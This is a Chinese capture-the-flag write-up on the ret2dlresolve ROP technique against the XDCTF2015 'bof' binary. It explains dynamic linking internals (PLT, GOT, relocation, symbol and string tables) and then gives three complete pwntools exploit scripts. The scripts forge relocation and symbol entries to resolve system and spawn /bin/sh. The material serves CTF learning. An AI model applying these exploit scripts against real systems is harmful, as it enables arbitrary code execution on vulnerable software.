这是一种较难理解的rop技巧,虽然pwntool直接提供了现成的模块进行利用但是我还是打算从原理上摸清楚
本文适合具有一定ROP基础的读者阅读
示例:XDCTF2015 bof
0x00 原理
说实话查了很多资料发现有些技术大神的表达能力较为欠缺.....搞得我看得云里雾里
关于segment和section的概念不再赘述,这里直切主题——ret2_dl_runtime_solve
1. 延迟绑定概念
由于Linux下的程序采用了延迟绑定机制,这就使得程序在运行后需要有专门的函数去根据程序中的符号 (可以看成一个入口)把内存中运行库libc中真实的变量或函数的地址计算出来并保存在特定的位置(比如got表)。即利用程序二进制文件中写有的关于函数链接的信息作为参数让负责链接的函数帮助实现具体的链接过程,而负责实现链接的函数在程序运行之初就已经绑定好了,不然就会出现先有鸡还是先有蛋的矛盾。
2. 实现绑定(relocation)的过程
由于需要理清的东西实在太多,我干脆做了一张清晰明了的图,把relocation的每一个步骤都表示出来,这样在思考的时候不容易混乱。
为了简洁,图上一些概念做了抽象,记得结合文章阅读
完整图片下载链接:点我查看
首先注意args[0]和args[1]这两个参数是libc提供的负责链接的函数(_dl_runtime_solve )所需的参数。那么这两个参数又是如何被传入的呢?
通过动态跟踪程序的执行路径,比如write@plt,发现首次调用的时候实际上指向的是plt表的一段代码:
080483d0 <write@plt>:
80483d0: ff 25 1c a0 04 08 jmp DWORD PTR ds:0x804a01c
80483d6: 68 20 00 00 00 push 0x20
80483db: e9 a0 ff ff ff jmp 8048380 <_init+0x28>
其中jmp跳转到的位置就是write对应的got表项,函数got表的内容在没有完成链接前保存的是该函数plt表第二条指令的地址,也就是会绕一圈继续往下执行。而往下执行的这个push 0x20
便是图中的args[1]。再往下的jmp会跳转到plt表的开头也就是plt[0]的位置:
8048380: ff 35 04 a0 04 08 push DWORD PTR ds:0x804a004
8048386: ff 25 08 a0 04 08 jmp DWORD PTR ds:0x804a008
其中两个操作数分别是got[1]和got[2]:
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048380↑r //got[1]
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048380+6↑r //got[2]
plt[0]的位置是两条指令,其中push DWORD PTR ds:0x804a004
对应图中的args[0],jmp则跳转到了got[2]的位置,这个位置保存了之前提到的 _dl_runtime_solve 的地址,开始执行对write函数的链接。
可以发现这个plt表的这个跳转实际上就是先传参,再调用函数的过程,两个参数args[1]和args[0]被先后压入栈中。这两个参数意义如下:
args[0]:link_map,保存在got[1]中,指向.dynamic section的位置 args[1]:write相对于.rel.plt(也就是JMPREL)的偏移
通过挖掘的这两个参数可以发现, .Dynamic Section 中竟然保存了 rel.plt 的起始地址:
Dynamic section at offset 0xf14 contains 24 entries:
标记 类型 名称/值
0x00000001 (NEEDED) 共享库:[libc.so.6]
0x0000000c (INIT) 0x8048358
0x0000000d (FINI) 0x8048624
0x00000019 (INIT_ARRAY) 0x8049f08
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f0c
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x8048278
0x00000006 (SYMTAB) 0x80481d8
0x0000000a (STRSZ) 107 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 40 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048330 /*这一项就是*/
0x00000011 (REL) 0x8048318
0x00000012 (RELSZ) 24 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482f8
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x80482e4
0x00000000 (NULL) 0x0
那.rel.plt中又存放着什么信息使得_dl_runtime_solve函数足以计算出write的真正地址?
LOAD:08048330 ; ELF JMPREL Relocation Table
LOAD:08048330 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT setbuf
LOAD:08048338 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT read
LOAD:08048340 Elf32_Rel <804A014h, 407h> ; R_386_JMP_SLOT strlen
LOAD:08048348 Elf32_Rel <804A018h, 507h> ; R_386_JMP_SLOT __libc_start_main
LOAD:08048350 Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write /*该项是与write有关的结构体*/
LOAD:08048350 LOAD ends
从IDA的反汇编结果来看,是一连串结构体。如果把之前args[1]传入的那个偏移加上.rel.plt的起始地址刚好对应上了一个与write有关的结构体。这个结构体一共8个字节,前四个字节是一个地址,后四个地址看着像偏移。
经过动态跟踪 _dl_runtime_solve 函数 的执行过程发现,后四字节对应的16进制整数前两位会作为以前四个字节为基址的偏移,而最后一位0x7作为一个常数存在,且该常数还需要通过校验才能继续往下执行(8懂为啥这么干)。只好继续分析前四字节的地址有啥:
LOAD:080481D8 ; ELF Symbol Table
LOAD:080481D8 Elf32_Sym <0>
LOAD:080481E8 Elf32_Sym <offset aSetbuf - offset elfstr_start, 0, 0, 12h, 0, 0> ; "setbuf"
LOAD:080481F8 Elf32_Sym <offset aRead - offset elfstr_start, 0, 0, 12h, 0, 0> ; "read"
LOAD:08048208 Elf32_Sym <offset aGmonStart - offset elfstr_start, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:08048218 Elf32_Sym <offset aStrlen - offset elfstr_start, 0, 0, 12h, 0, 0> ; "strlen"
LOAD:08048228 Elf32_Sym <offset aLibcStartMain - offset elfstr_start, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:08048228 0>
LOAD:08048238 Elf32_Sym <offset aWrite - offset elfstr_start, 0, 0, 12h, 0, 0> ; "write" /*这里是write对应的结构体*/
发现是一个符号表....
吐了,根据IDA反汇编结果看还是一串结构体。不过按照之前的步骤进行分析,发现这个结构体只有前4*4=16个字节需要关注,且中间8字节全是0,开头的4字节还是一个偏移,而最后4字节对于函数的链接而言是一个常数,不用管。继续深挖这个偏移,发现这是相对于另一个表的偏移:
LOAD:08048278 ; ELF String Table
LOAD:08048278 elfstr_start db 0 ; DATA XREF: LOAD:080481E8↑o
LOAD:08048278 ; LOAD:080481F8↑o ...
LOAD:08048279 aLibcSo6 db 'libc.so.6',0
LOAD:08048283 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:08048258↑o
LOAD:08048292 aStdin db 'stdin',0 ; DATA XREF: LOAD:08048268↑o
LOAD:08048298 aStrlen db 'strlen',0 ; DATA XREF: LOAD:08048218↑o
LOAD:0804829F aRead db 'read',0 ; DATA XREF: LOAD:080481F8↑o
LOAD:080482A4 aStdout db 'stdout',0 ; DATA XREF: LOAD:08048248↑o
LOAD:080482AB aSetbuf db 'setbuf',0 ; DATA XREF: LOAD:080481E8↑o
LOAD:080482B2 aLibcStartMain db '__libc_start_main',0
LOAD:080482B2 ; DATA XREF: LOAD:08048228↑o
LOAD:080482C4 aWrite db 'write',0 ; DATA XREF: LOAD:08048238↑o
LOAD:080482CA aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:08048208↑o
LOAD:080482D9 aGlibc20 db 'GLIBC_2.0',0
LOAD:080482E3 align 4
LOAD:080482E4 dd 20000h, 2, 2 dup(20002h), 20001h, 10001h, 1, 10h, 0
LOAD:08048308 dd 0D696910h, 20000h, 61h, 0
这是个字符串表,加上刚刚符号表中的偏移发现是一个字符串,而且这个字符串的内容正是 "\x00write\x00"
(注意前后有\x00截断),是咱write函数的名字。
在接下来的步骤中,_dl_runtime_solve在libc中搜索这个字符串对应的函数的地址,并将其存入write对应的got表中。
至此逻辑发生了闭合,回到第一步中,write对应的plt表的第一个语句jmp到got表保存的地址处就相当于直接jmp到了write函数在内存中真正的位置,完成了函数的符号和地址的链接,往后再次使用该函数不会再发生链接。于是我们接下来的利用思路全部基于这个第一次链接的过程。
文字水平有限,如果对这个过程还有什么不懂的,可以结合文字看我画的那张图,上面标注了流程还有部分关键位置截图。
0x01 题目分析
0x02 exp思路
思路
完整exp
python3版本 (自己写的)
#!/usr/bin/python3
from pwn import *
p=process("./main")
elf=ELF("./main")
#config:
context.log_level="debug"
context.arch="i386"
#func@plt:
write_plt=elf.plt[b"write"]
read_plt=elf.plt[b"read"]
#gadgets:
ppp_ret=0x08048619 #empty parameters
pop_ebp_ret=0x0804861b # migrate stack
leave_ret=0x08048458 # migrate stack
#addr:
bss=0x804A040
stack_size=0x800
base_stage=bss+stack_size
#fake stack栈的大小满足条件即可,没有强制要求
plt_0=0x8048380
rel_plt=0x08048330
dynsym=0x80481D8
dynstr=0x8048278
#constans:
offset=112
align=0x4
#Other:
index_offset = base_stage + 28 - rel_plt
r_info = (((base_stage + 40) - dynsym) << 4 ) | 0x7
print("r_info:",hex(r_info))
st_name = base_stage + 56 - dynstr
#Step 1:
payload1=b"A"*offset
payload1+=p32(read_plt)
payload1+=p32(ppp_ret)
payload1+=p32(0)
payload1+=p32(base_stage)
payload1+=p32(100) # size of payload2
#主要这个值要根据payload2的大小合理分配
payload1+=p32(pop_ebp_ret)
payload1+=p32(base_stage)
payload1+=p32(leave_ret)
p.recvuntil(b"XDCTF2015~!\n")
p.sendline(payload1)
#Step 2:
payload2=b"AAAA" # base_stage (base + 0)
payload2+=p32(plt_0)
payload2+=p32(index_offset)
payload2+=b"AAAA" #ret
payload2+=p32(base_stage + 80) # "/bin/sh" addr
payload2+=b"aaaa"
payload2+=b"aaaa"
#注意这里要补全为三个参数的长度,因为write是3个参数
#但是由于system只使用第一个参数,所以其他用a填充即可
#-----[fake .rel.plt]----------
payload2+=p32(elf.got[b"write"]) # [fake .rel.plt] (base + 28)
payload2+=p32(r_info) # (base + 32)
#------------------------------
payload2+=b"A"*align # (base + 36)
#注意这一步的对齐非常重要
#dynsym中结构体的大小为0x10
#需要保证fake dynsym和dynsym_start的差为0x10的整数倍
#而这题中dymsym最后一位是0x8
#所以要将fake dynsym最后一位也补齐到0x8
#------[fake .dynsym]----------
payload2+=p32(st_name) # (base + 40)
payload2+=p32(0)
payload2+=p32(0)
payload2+=p32(0x12)
#------------------------------
payload2+=b"system\x00" # func_name that to be relocate (base + 56)
payload2+=b"A"*(80-len(payload2))
payload2+=b"/bin/sh\x00"
payload2+=b"A"*(100-len(payload2))
p.sendline(payload2)
p.interactive()
python2版本(官方wp)
#!/usr/bin/python
from pwn import *
elf = ELF('main')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
r = process('./main')
r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # read 100 bytes to base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;point esp to base_stage
r.sendline(payload)
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
print("align",hex(align))
print("r_info",hex(r_info))
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()
借助pwntool模块的方法
这么封装起来实在太抽象了,反而难以理解,我还是觉得我写的版本是最容易理解的(嘻嘻
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()
rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()